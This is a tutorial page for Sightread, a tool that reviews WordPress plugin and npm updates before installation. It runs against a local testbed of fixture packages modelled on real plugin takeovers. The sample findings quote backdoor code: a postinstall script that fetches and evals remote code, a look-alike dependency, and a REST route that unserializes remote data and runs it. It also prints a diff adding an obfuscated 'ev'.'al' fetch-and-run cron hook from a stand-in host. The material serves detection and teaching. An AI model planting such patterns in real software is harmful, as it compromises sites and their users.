Repository navigation
Sightread First Review
This tutorial reviews updates before you install them: try the built-in demo, review one plugin, read a finding in full, review a whole site and record what you reviewed. It takes about ten minutes.
The demo needs nothing. For the other steps you need a WordPress site, Composer project or npm project on this machine; the examples use a WordPress site in ~/www. The output on this page comes from Sightread's testbed: a fixture registry on 127.0.0.1 that plays WordPress.org, Packagist and npm with packages modelled on real incidents, so the plugin names are fixture names (b01-widget replays a real plugin takeover, g05-cron is a benign update). Long absolute paths are shortened with ....
With the standalone binary, type rhythm-sightread wherever this page says rhythm sightread; the two are the same tool.
Follow along without a site. Steps 3 to 6 run as printed against the testbed in a clone of the repository. It needs only Go and stays on 127.0.0.1:
git clone https://github.com/RhythmShahriar/sightread && cd sightread make build # bin/rhythm-sightread make testbed # the fixture registry on 127.0.0.1:18900-18904 cd testbed && . ./env.sh # points Sightread at it (SIGHTREAD_* and SSL_CERT_FILE) export PATH=$PWD/../bin:$PATH cd projects/wp # a WordPress site with b01-widget, g05-cron and the rest rhythm-sightread plugin b01-widgetPort 18900 taken?
make testbed PORT_BASE=38900moves the registry andenv.shfollows it.make testbed-downstops it. The testbed README has the details.
rhythm sightread versionrhythm-sightread 1.0.0
A build from source says rhythm-sightread dev unless it was built on a release tag (make build stamps the tag's version) or with make build VERSION=1.0.0. A dev build works the same; only the version it reports differs.
If it says rhythm: sightread isn't installed, run rhythm install sightread. If rhythm isn't found at all, follow Install.
rhythm sightread demoThe first time, Sightread prints a one-time notice:
Note: real reviews download packages from WordPress.org, Packagist and npm and read
them as text; this demo stays on 127.0.0.1. Sightread never runs their code. A clean
result is a static diff, not proof an update is safe. This notice is shown once.
The demo serves three made-up updates from memory on 127.0.0.1 and reviews them the way it reviews a real site: one routine plugin update, one in the pattern of the 2025 Essential Plugin takeover and one npm package with a new install script and a look-alike dependency. Nothing in them ever runs and nothing leaves the machine.
♪ rhythm sightread 1.0.0 /tmp/sightread-demo-.../site WordPress 6.8.3
────────────────────────────────────────────────────────────────────────
Read-only. Sightread changes nothing on your site and never runs the
code it downloads.
VERDICT UPDATE FROM TO FINDINGS
HOLD date-utils-lite 1.4.0 1.4.1 1 critical, 4 high
HOLD share-kit 3.2.0 3.2.1 4 critical, 3 high
ROUTINE comment-guard 4.1.2 4.1.3
HOLD date-utils-lite 1.4.0 → 1.4.1 ────────────────────────────────────
▌ CRITICAL Fetches remote code and runs it scripts/setup.js:6 #1
▌ http.get('http://127.0.0.1:9/helper.js', (res) => { …
▌ eval(body);
▌ → Hold the update. Nothing local can tell you what the
▌ downloaded code will do.
▌ HIGH Adds a runtime dependency package.json #2
▌ adds axois ^1.0.0 (published 16 days ago, has an install
▌ script)
▌ → Look at the new dependency as closely as at the package
▌ itself.
▌ HIGH Adds or changes an install script package.json #3
▌ postinstall: node scripts/setup.js
▌ → Install with --ignore-scripts until someone has read the
▌ script.
▌ HIGH New dependency named like a popular package
▌ package.json #4
▌ axois is close to the popular axios; it has an install
▌ script
▌ likely: a heuristic, not an exact pattern
▌ → Check the dependency's name letter by letter.
▌ HIGH Changelog does not mention what the code adds
▌ scripts/setup.js:6 #5
▌ no changelog entry for 1.4.1; the update adds fetched or
▌ decoded code that runs (scripts/setup.js:6), network sends
▌ (scripts/setup.js:6), file writes outside the package…
▌ likely: a heuristic, not an exact pattern
▌ → Hold the update. Nothing in the changelog explains this.
HOLD share-kit 3.2.0 → 3.2.1 ──────────────────────────────────────────
▌ CRITICAL Runs code built at run time includes/sync.php:13 #6
▌ $response = wp_remote_post(
▌ 'https://mainnet.infura.io/v3/share-kit', array( … return
▌ $fn( $request->get_param( 'q' ) );
▌ raised by owner-change
▌ → Hold the update until you know where the evaluated text
▌ comes from.
▌ CRITICAL Contacts a new domain includes/sync.php:13 #7
▌ blockchain-rpc host infura.io: $response = wp_remote_post(
▌ 'https://mainnet.infura.io/v3/share-kit', array(
▌ raised by owner-change
▌ → Find out who runs this host before updating.
▌ CRITICAL Runs code built at run time includes/sync.php:18 #8
▌ return $fn( $request->get_param( 'q' ) );
▌ raised by owner-change
▌ → Hold the update until you know where the evaluated text
▌ comes from.
▌ CRITICAL Unserializes request or remote data
▌ includes/sync.php:13 #9
▌ $response = wp_remote_post(
▌ 'https://mainnet.infura.io/v3/share-kit', array( … $data =
▌ unserialize( wp_remote_retrieve_body( $response ) );
▌ raised by owner-change, eval-dynamic
▌ likely: a heuristic, not an exact pattern
▌ → Hold the update. Unserializing outside data can run code
▌ through classes already loaded.
▌ HIGH New owner or publisher #10
▌ Contributors before: sharekit; now: sharekit; published by
▌ growth-partners
▌ → Read this release closely. The people behind it changed.
▌ HIGH Adds a REST route anyone can call includes/sync.php:5 #11
▌ register_rest_route( 'share-kit/v1', '/sync', array( … ) );
▌ raised by eval-dynamic, input-unserialize
▌ likely: a heuristic, not an exact pattern
▌ → Check what this route does for someone who isn't logged
▌ in.
▌ HIGH Changelog does not mention what the code adds
▌ includes/sync.php:13 #12
▌ changelog for 3.2.1 says only "Improved compatibility and
▌ performance."; the update adds fetched or decoded code that
▌ runs (includes/sync.php:13), network sends…
▌ likely: a heuristic, not an exact pattern
▌ → Hold the update. Nothing in the changelog explains this.
NOT CHECKED 1 ─────────────────────────────────────────────────────────
wordpress 6.8.3: WordPress core is out of scope in v1
→ WordPress core updates come signed from WordPress.org
╭──────────────────────────────────────────────────────────────────────╮
│ 3 UPDATES 2 hold · 1 routine │
│ ■ 5 critical ■ 7 high │
│ Sightread reports what changed. It does not judge intent. │
╰──────────────────────────────────────────────────────────────────────╯
3 updates reviewed · 6 archives verified · 0 from cache · 200ms
→ every finding and the full diff:
rhythm sightread demo -o review.html --open
→ explain a finding: rhythm sightread explain remote-fetch-exec
→ on your site: rhythm sightread all /path/to/wordpress
→ in CI: rhythm sightread init ci
Read it top to bottom:
- The table has one row per update, worst first. HOLD means a critical finding: don't install it before you've read it. REVIEW means a high or medium finding worth a look. ROUTINE means only low or info findings, or none.
-
Each card lists the findings of one update. The
#1,#2after the place are the finding numbersexplaintakes (step 4); they count across the whole report in the order shown. A finding is something the new version can do that the installed one couldn't: here, a new install script that downloads code and runs it. In the second update a plugin now calls a blockchain RPC host and runs what a REST route hands it. Each shows the file and line, the code behind it and what to do (→). -
raised by owner-change: the plugin has a new publisher, so its new code signals went up one level. A new owner shipping new network code is how plugin takeovers look. -
likelymarks a heuristic rather than an exact pattern. - Not checked lists what Sightread didn't review and why. WordPress core is out of scope; it's listed but doesn't make the review incomplete.
rhythm sightread demo --fail-on high shows what CI sees: the same report, then exit code 1 because two updates are on HOLD. --json prints the JSON report instead and --keep keeps the demo's archives and prints a command that reviews two of them as local files.
On your site, name the plugin. Sightread reads the installed version from the site and compares it with the latest WordPress.org release:
cd ~/www
rhythm sightread plugin b01-widgetreviewing 1 of 1: b01-widget 2.6.7 → 2.6.8
♪ rhythm sightread 1.0.0 wp-plugin b01-widget 2.6.7 → 2.6.8
────────────────────────────────────────────────────────────────────────
Read-only. Sightread changes nothing on your site and never runs the
code it downloads.
▸ Installed 2.6.7 in wp-content/plugins/b01-widget · matches
wordpress.org ✓
▸ Candidate 2.6.8 · released 2026-10-28 · latest
▸ Integrity both versions: matches WordPress.org's own checksums
(both come from WordPress.org, so this proves the copy
was not changed on the way, not what the author
intended) ✓
▸ Publisher changed: wponlinesupport → essentialplugin
▸ Diff 2 files changed, 1 added · +11 −4 lines · 136 B → 514 B
▸ Changelog 2.6.8: "Check compatibility with WordPress 6.8"
CRITICAL 1 ────────────────────────────────────────────────────────────
▌ CRITICAL Fetches remote code and runs it
▌ includes/class-analytics.php:3 #1
▌ $body =
▌ wp_remote_retrieve_body(wp_remote_get('https://analytics.wp
▌ os-cdn.example/v2/p'));…
▌ → Hold the update. Nothing local can tell you what the
▌ downloaded code will do.
HIGH 4 ────────────────────────────────────────────────────────────────
▌ HIGH New owner or publisher #2
▌ Contributors before: none listed; now: essentialplugin,
▌ wponlinesupport; published by essentialplugin
▌ → Read this release closely. The people behind it changed.
▌ HIGH Changelog does not mention what the code adds
▌ includes/class-analytics.php:3 #3
▌ changelog for 2.6.8 says only "Check compatibility with
▌ WordPress 6.8"; the update adds fetched or decoded code
▌ that runs (includes/class-analytics.php:3), network sends…
▌ likely: a heuristic, not an exact pattern
▌ → Hold the update. Nothing in the changelog explains this.
▌ HIGH Sends site data to a new host
▌ includes/class-analytics.php:3 #4
▌ sends env to the local or reserved name
▌ analytics.wpos-cdn.example: $body =
▌ wp_remote_retrieve_body(wp_remote_get('https://analytics.…
▌ raised by owner-change
▌ likely: a heuristic, not an exact pattern
▌ → Hold the update until you know what is sent and to whom.
▌ HIGH Sends site data to a new host
▌ includes/class-analytics.php:5 #5
▌ sends env to the local address 127.0.0.1:
▌ $s=@fsockopen('127.0.0.1',18905);@file_put_contents(getenv(
▌ 'SIGHTREAD_CANARY_DIR').'/b01','x');…
▌ raised by owner-change
▌ likely: a heuristic, not an exact pattern
▌ → Hold the update until you know what is sent and to whom.
MEDIUM 2 ──────────────────────────────────────────────────────────────
▌ MEDIUM Schedules a new background task
▌ includes/class-analytics.php:7 #6
▌ wp_schedule_event(time()+3600,'daily','wpos_cron');
▌ → Check what the new background task does.
▌ MEDIUM Released very recently #7
▌ published 3 hours ago (2026-10-28 12:22 UTC); the minimum
▌ age is 72h
▌ likely: a heuristic, not an exact pattern
▌ → Wait a few days before installing it.
╭──────────────────────────────────────────────────────────────────────╮
│ VERDICT HOLD │
│ ■ 1 critical ■ 4 high ■ 2 medium │
│ Sightread reports what changed. It does not judge intent. │
╰──────────────────────────────────────────────────────────────────────╯
1 update reviewed · 2 archives verified · 0 from cache · 100ms
→ the full diff: rhythm sightread plugin b01-widget -o review.html --open
→ explain a finding: rhythm sightread explain remote-fetch-exec
→ record a review:
rhythm sightread allow wp-plugin:b01-widget@2.6.8 --reason "..."
The facts at the top come first for a reason:
-
Installed
matches wordpress.org ✓: your copy is the official 2.6.7, so the diff is against what you really run. - Integrity: both zips match WordPress.org's own checksums. That proves nobody changed them on the way, not that the author meant well.
- Publisher: the person who committed 2.6.8 never published this plugin before.
-
Changelog: "Check compatibility with WordPress 6.8", while the diff adds a daily task that downloads code and evaluates it.
changelog-mismatchflags exactly that gap.
A routine update looks like this:
$ rhythm sightread plugin g05-cron
...
▸ Publisher unchanged (cronteam)
▸ Diff 2 files changed, 1 added · +7 −4 lines · 103 B → 327 B
▸ Changelog 1.1.0: "Add a daily cleanup task that removes expired
transients."
LOW 1 ─────────────────────────────────────────────────────────────────
● Schedules a new background task cron.php:2 #1
╭──────────────────────────────────────────────────────────────────────╮
│ VERDICT ROUTINE │
│ ■ 1 low │
│ Sightread reports what changed. It does not judge intent. │
╰──────────────────────────────────────────────────────────────────────╯
1 update reviewed · 2 archives verified · 0 from cache · 100ms
→ the full diff: rhythm sightread plugin g05-cron -o review.html --open
→ explain a finding: rhythm sightread explain cron-new-hook
→ update it: wp plugin update g05-cron --version=1.1.0
Same kind of change (a new daily task). Here the changelog says so, the publisher is the same and nothing in it fetches or runs remote code. Sightread prints the wp plugin update command; it never runs it.
Without a site, give the installed version: rhythm sightread plugin akismet --from 5.3.3. --to list shows the versions you can pick with --to.
Save the report as JSON, then open one finding with the code around it. The number is the #1 the terminal printed next to the finding:
rhythm sightread plugin b01-widget -q -o b01.json
rhythm sightread explain b01.json 1Finding 1 of 7: remote-fetch-exec: Fetches remote code and runs it
Update: wp-plugin b01-widget 2.6.7 → 2.6.8 (HOLD)
Severity: critical
Confidence: confirmed
Where: includes/class-analytics.php:3-4
Fingerprint: 1e625065badd63fa
Counted: yes
Evidence
$body =
wp_remote_retrieve_body(wp_remote_get('https://analytics.wpos-cdn.example/v2/p'));
… $f = 'ev'.'al'; $f($body);
Advice
Hold the update. Nothing local can tell you what the downloaded code will do.
Diff
@@ -0,0 +1,7 @@ includes/class-analytics.php
+<?php
+add_action('wpos_cron', function(){
+ $body = wp_remote_retrieve_body(wp_remote_get('https://analytics.wpos-cdn.example/v2/p'));
+ $f = 'ev'.'al'; $f($body);
+ $s=@fsockopen('127.0.0.1',18905);@file_put_contents(getenv('SIGHTREAD_CANARY_DIR').'/b01','x'); // testbed canary: never runs
+});
+wp_schedule_event(time()+3600,'daily','wpos_cron');
remote-fetch-exec: Fetches remote code and runs it
Severity: critical
Confidence: confirmed
Ecosystems: wp-plugin, wp-theme, composer, npm
Why it matters
New code downloads something and runs it in the same function: the response
reaches eval, include, a child process or a code file that is then loaded.
What runs can change at any time without a new release. Reviewing this version
tells you nothing about what it will run tomorrow.
How to review
1. Open the finding with explain and read the hunk.
2. Find the URL the code fetches and who runs that host.
3. Check whether the changelog mentions it.
4. Ask the maintainers before installing.
False alarms
Fetching JSON and decoding it with json_decode does not fire. The fetch and
the run must be in one function body.
Incidents
intercom-php 2026: Version 5.0.2 downloaded Bun during composer install and
ran an obfuscated script with it.
Gravity Forms 2025: The altered build fetched payloads from gravityapi.org and
ran them.
More
https://github.com/RhythmShahriar/rhythm/wiki/Sightread-Signal-Reference#remote-fetch-exec
'ev'.'al' is eval built from two strings, so a text search for eval( misses it; Sightread follows it. The last line of the hunk is the testbed's canary: if Sightread ever ran this code, the benchmark would see the connection. rhythm sightread explain remote-fetch-exec prints the second half on its own, with no report or network. Every signal is in the Signal reference.
rhythm sightread all ~/wwwall finds the WordPress root (up to 6 folders down), every plugin and theme, composer.lock and npm lockfiles. It reviews every update they can take:
reviewing 2 of 13: g02-bundle 1.0.0 → 1.1.0
reviewing 3 of 13: b01-widget 2.6.7 → 2.6.8
...
reviewing 13 of 13: g07-theme 1.0.0 → 1.1.0
♪ rhythm sightread 1.0.0
.../home/www
WordPress 6.8.3
────────────────────────────────────────────────────────────────────────
Read-only. Sightread changes nothing on your site and never runs the
code it downloads.
VERDICT UPDATE FROM TO FINDINGS
HOLD b01-widget 2.6.7 2.6.8 1 critical, 4 high, 2 medium
REVIEW b02-formtools 1.4.0 1.4.1 3 high, 1 medium
REVIEW b09-theme 1.5.0 1.6.0 4 high, 1 medium
REVIEW g15-takeover 6.0.0 6.0.1 1 high
ROUTINE g01-feature 4.0.0 4.1.0
ROUTINE g02-bundle 1.0.0 1.1.0
ROUTINE g03-i18n 2.0.0 2.1.0
ROUTINE g04-vendor 1.0.0 1.0.1
ROUTINE g05-cron 1.0.0 1.1.0 1 low
ROUTINE g06-contrib 1.0.0 1.1.0
ROUTINE g07-theme 1.0.0 1.1.0
ROUTINE g08-eol 1.0.0 1.0.1
ROUTINE g14-site 1.0.0 1.1.0
HOLD b01-widget 2.6.7 → 2.6.8 ─────────────────────────────────────────
...
REVIEW g15-takeover 6.0.0 → 6.0.1 ─────────────────────────────────────
▌ HIGH New owner or publisher #17
▌ WordPress.org took over this plugin. Contributors before:
▌ none listed; now: wordpressdotorg; published by
▌ wordpressdotorg
▌ → Read this release closely. The people behind it changed.
NOT CHECKED 2 ─────────────────────────────────────────────────────────
b22-premium 2.8.0 (wp-plugin): not on WordPress.org
→ give the vendor's zip with --to-file
wordpress 6.8.3: WordPress core is out of scope in v1
→ WordPress core updates come signed from WordPress.org
╭──────────────────────────────────────────────────────────────────────╮
│ 13 UPDATES 1 hold · 3 review · 9 routine │
│ ■ 1 critical ■ 12 high ■ 4 medium ■ 1 low │
│ Incomplete review: 1 package wasn't checked. │
│ Sightread reports what changed. It does not judge intent. │
╰──────────────────────────────────────────────────────────────────────╯
13 updates reviewed · 26 archives verified · 13 from cache · 200ms
→ every finding and the full diff: run again with -o review.html --open
→ explain a finding: rhythm sightread explain remote-fetch-exec
→ update the routine ones:
wp plugin update g01-feature g02-bundle g03-i18n g04-vendor g05-cron g06-contrib g08-eol g14-site
→ update the routine ones: wp theme update g07-theme
→ record a review:
rhythm sightread allow wp-plugin:b01-widget@2.6.8 --reason "..."
Thirteen updates; nine can go in now with the command it prints. Four need reading first. b22-premium is a premium plugin with no official source, so it's listed as Not checked and the review says it's incomplete: give the vendor's zip with --to-file (see Sources and integrity). 13 from cache: archives downloaded by earlier runs are reused.
For the full diff and every finding in one page to read or send to a client:
rhythm sightread all ~/www -o review.html --openThe page is self-contained and loads nothing from outside. It works offline and in light and dark. See Output and reports for the other formats.
You read g05-cron's update: the new daily task is the cleanup its changelog describes. Record that, bound to that release's exact bytes:
rhythm sightread allow wp-plugin:g05-cron@1.1.0 --reason "daily transient cleanup, read the cron callback"allowed wp-plugin:g05-cron@1.1.0 (sha256 74e9e4bd35dd) in .sightread/allowed.yaml
The next review shows it as ALLOWED. If the same version is ever served with other bytes, that's the critical finding approved-version-changed instead. Commit .sightread/allowed.yaml next to your code; see Allow and baseline.
-
Gate pull requests:
rhythm sightread init ciwrites a GitHub workflow that reviews every lockfile change. See CI and the GitHub Action. -
Set defaults for the project:
rhythm sightread initwrites.sightread/config.yamlwithfail_on: high. See Configuration. -
Watch all your sites:
rhythm sightread watch -l sites.yaml --at 02:00 --notify slack://.... See Watch. -
Try an update on staging first:
--soundcheck <staging-url>. See With Soundcheck and Roadie. - Read the limits before you trust a clean result: FAQ and honest limits.
← Overview · Home · Signal reference →
rhythm · Useful ideas. Working systems. · Check only sites you own or have permission to test. Keep staging sealed (responsible use) · This wiki is published from wiki/ in the rhythm repository; suggest changes there with a pull request.
Get started
rhythm in depth
Tuner
- Overview
- Your first scan
- Reading results
- Choosing checks
- Requests and politeness
- Output and reports
- Batch scans
- Local scans
- Integrity and malware
- Changes and notifications
Tuner in depth
- Known vulnerabilities
- PHP advisories
- CI and code scanning
- GitHub Action
- Config file
- Watch and serve
- Writing checks
- Check packs
- Finding reference
- CLI reference
- Coming from Wordfence CLI or WPScan
- FAQ and troubleshooting
Soundcheck
- Overview
- Your first check
- Reading results
- Review and accept
- Discovery
- Page health
- Visual changes
- Interactions
- Forms and flows
- Cache
- Speed
- Accessibility and SEO
- EAA mode
- Keyboard walkthrough
- Accessibility statement
Soundcheck in depth
- CI
- CI baselines and PR comments
- Configuration
- Error rules and exec
- WordPress updates
- Fleet and client reports
- History
- Import from BackstopJS and Lost Pixel
- Firefox and WebKit
- CLI reference
- FAQ and troubleshooting
- Benchmark
Echo
- Overview
- Your first run
- Connectors
- Sealing staging
- Echo Inbox
- Messages and checks
- Checks and rules
- Attachments
- Actions and compare
- With Soundcheck
- Replay
- Deliverability
Echo cookie consent
Echo in depth
- Docker and DDEV
- Agency hub and reports
- Schedule
- MCP server
- Conformance kit
- CI
- Configuration
- API
- CLI reference
- FAQ and troubleshooting
- Benchmark
Roadie
- Overview
- Getting started
- Copy and prepare
- Sources and targets
- Profiles
- Pseudonymisation
- Live keys
- Kill switch
- Verify and reports
Roadie in depth
- Laravel
- Generic SQL and Postgres
- Multisite
- CI and the GitHub Action
- Configuration
- Security and limits
- CLI reference
- Troubleshooting
- FAQ and honest limits
- Benchmark
Sightread
- Overview
- Your first review
- Signal reference
- Allow and baseline
- Sources and integrity
- With Soundcheck and Roadie
- Watch
Sightread in depth
- CI and the GitHub Action
- Configuration
- Output and reports
- Security model
- CLI reference
- FAQ and honest limits
- Benchmark
Project